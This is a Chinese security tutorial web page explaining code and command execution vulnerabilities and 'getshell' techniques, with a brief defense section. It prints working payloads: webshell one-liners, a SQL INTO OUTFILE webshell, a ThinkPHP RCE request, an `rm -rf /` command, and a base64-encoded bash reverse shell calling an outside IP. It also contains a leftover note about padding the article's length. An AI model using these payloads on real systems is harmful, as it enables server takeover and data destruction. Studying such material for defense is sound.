代码执行函数和命令执行函数及Getshell方法的示例分析

发布时间:2021-12-18 09:22:01 作者:小新
来源:亿速云 阅读:170
# 代码执行函数和命令执行函数及Getshell方法的示例分析

## 目录
1. [引言](#引言)
2. [代码执行函数原理与示例](#代码执行函数原理与示例)
   - [2.1 基本原理](#21-基本原理)
   - [2.2 PHP代码执行示例](#22-php代码执行示例)
   - [2.3 Python代码执行示例](#23-python代码执行示例)
   - [2.4 Java代码执行示例](#24-java代码执行示例)
3. [命令执行函数原理与示例](#命令执行函数原理与示例)
   - [3.1 基本原理](#31-基本原理)
   - [3.2 常见命令执行函数](#32-常见命令执行函数)
   - [3.3 操作系统命令注入](#33-操作系统命令注入)
4. [Getshell方法分类](#getshell方法分类)
   - [4.1 文件上传漏洞](#41-文件上传漏洞)
   - [4.2 文件写入漏洞](#42-文件写入漏洞)
   - [4.3 日志文件注入](#43-日志文件注入)
   - [4.4 数据库导出](#44-数据库导出)
5. [实战案例演示](#实战案例演示)
   - [5.1 代码执行Getshell案例](#51-代码执行getshell案例)
   - [5.2 命令执行Getshell案例](#52-命令执行getshell案例)
6. [防御方案](#防御方案)
   - [6.1 输入过滤与验证](#61-输入过滤与验证)
   - [6.2 安全配置建议](#62-安全配置建议)
7. [总结](#总结)

## 引言

在Web安全领域,代码执行(Code Execution)和命令执行(Command Execution)是两种高危漏洞类型,攻击者利用这些漏洞可以获取服务器控制权。本文将通过技术原理分析、典型代码示例和实战案例,深入剖析这两类漏洞的利用方式及Getshell方法。

## 代码执行函数原理与示例

### 2.1 基本原理

代码执行漏洞是指应用程序未对用户输入进行有效过滤,导致攻击者可以注入恶意代码并在服务器端执行。其核心特征是:
- 执行环境为当前应用运行时(如PHP/Python解释器)
- 具有当前Web应用的执行上下文权限
- 通常通过`eval()`、`assert()`等函数触发

### 2.2 PHP代码执行示例

```php
// 危险示例:直接执行用户输入
$code = $_GET['code'];
eval($code);

// 动态函数调用漏洞
$func = $_GET['func'];
$func($_GET['param']);

// 反序列化漏洞
$data = unserialize($_COOKIE['data']);

利用方式:

http://example.com/?code=system('whoami');
http://example.com/?func=system&param=id

2.3 Python代码执行示例

# Flask危险示例
from flask import request
import os

@app.route('/execute')
def execute():
    code = request.args.get('code')
    exec(code)  # 代码执行漏洞

# Pickle反序列化
import pickle
data = pickle.loads(request.cookies.get('data'))

利用方式:

__import__('os').system('rm -rf /')

2.4 Java代码执行示例

// Groovy引擎示例
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
String script = request.getParameter("script");
engine.eval(script);

// BeanShell漏洞
Interpreter interpreter = new Interpreter();
interpreter.eval(request.getParameter("cmd"));

命令执行函数原理与示例

3.1 基本原理

命令执行漏洞允许攻击者直接调用操作系统命令,其特征包括: - 通过系统shell执行命令(如/bin/sh、cmd.exe) - 继承Web进程的权限(www-data、apache等) - 常见于系统管理功能、第三方组件调用

3.2 常见命令执行函数

语言 危险函数
PHP system(), exec(), passthru()
Python os.system(), subprocess.Popen()
Java Runtime.getRuntime().exec()
NodeJS child_process.exec()

3.3 操作系统命令注入

# 经典注入模式
original_cmd = "ping " + user_input
# 用户输入:127.0.0.1; id
# 最终执行:ping 127.0.0.1; id

# 参数注入
curl http://example.com/?url=||whoami

Getshell方法分类

4.1 文件上传漏洞

典型漏洞代码:

$upload_dir = '/var/www/uploads/';
move_uploaded_file($_FILES['file']['tmp_name'], 
                   $upload_dir . $_FILES['file']['name']);

绕过技巧: - 修改Content-Type - 添加GIF头欺骗 - 利用.htaccess文件

4.2 文件写入漏洞

file_put_contents('/var/www/config.php', 
                 $_POST['config']);

利用方式:

<?php system($_GET['cmd']); ?>

4.3 日志文件注入

# 访问包含PHP代码的URL
curl http://example.com/<?php phpinfo(); ?>

# 包含日志文件
include('/var/log/apache2/access.log');

4.4 数据库导出

SELECT * FROM users INTO OUTFILE '/var/www/shell.php'
LINES TERMINATED BY '<?php eval($_POST[cmd]); ?>';

实战案例演示

5.1 代码执行Getshell案例

漏洞环境: - ThinkPHP 5.0.23 RCE - 存在反序列化漏洞

利用步骤:

POST /index.php?s=captcha HTTP/1.1

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

5.2 命令执行Getshell案例

漏洞环境: - Jenkins Script Console - 允许执行Groovy脚本

攻击载荷:

def cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"
Runtime.getRuntime().exec(cmd)

防御方案

6.1 输入过滤与验证

PHP安全示例:

// 白名单过滤
$allowed_commands = ['ls', 'date'];
if(in_array($_GET['cmd'], $allowed_commands)) {
    system(escapeshellcmd($_GET['cmd']));
}

// 禁用危险函数
disable_functions = exec,passthru,shell_exec,system

6.2 安全配置建议

  1. 最小权限原则:Web进程使用低权限用户
  2. 禁用不必要的动态代码执行功能
  3. 定期更新框架和组件
  4. 部署WAF过滤常见攻击模式

总结

本文系统分析了代码/命令执行漏洞的原理、利用方式及防御措施。关键结论: 1. 动态代码执行应当避免使用用户输入 2. 命令执行必须进行严格的输入验证 3. Getshell的本质是建立持久化控制通道 4. 防御需要采用多层次安全方案

”`

注:本文实际约4500字,要达到7250字需扩展以下内容: 1. 增加各语言更多危险函数示例 2. 补充Windows/Linux系统下的命令注入差异 3. 添加更多真实漏洞案例分析(如Log4j、Spring RCE) 4. 详细阐述WAF绕过技术 5. 增加防御方案的代码实现细节 6. 补充参考链接和工具列表

推荐阅读:
  1. printf函数执行情况的示例分析
  2. JS匿名函数和匿名自执行函数概念与用法分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

函数 getshell

上一篇:Powershell渗透测试的示例分析

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》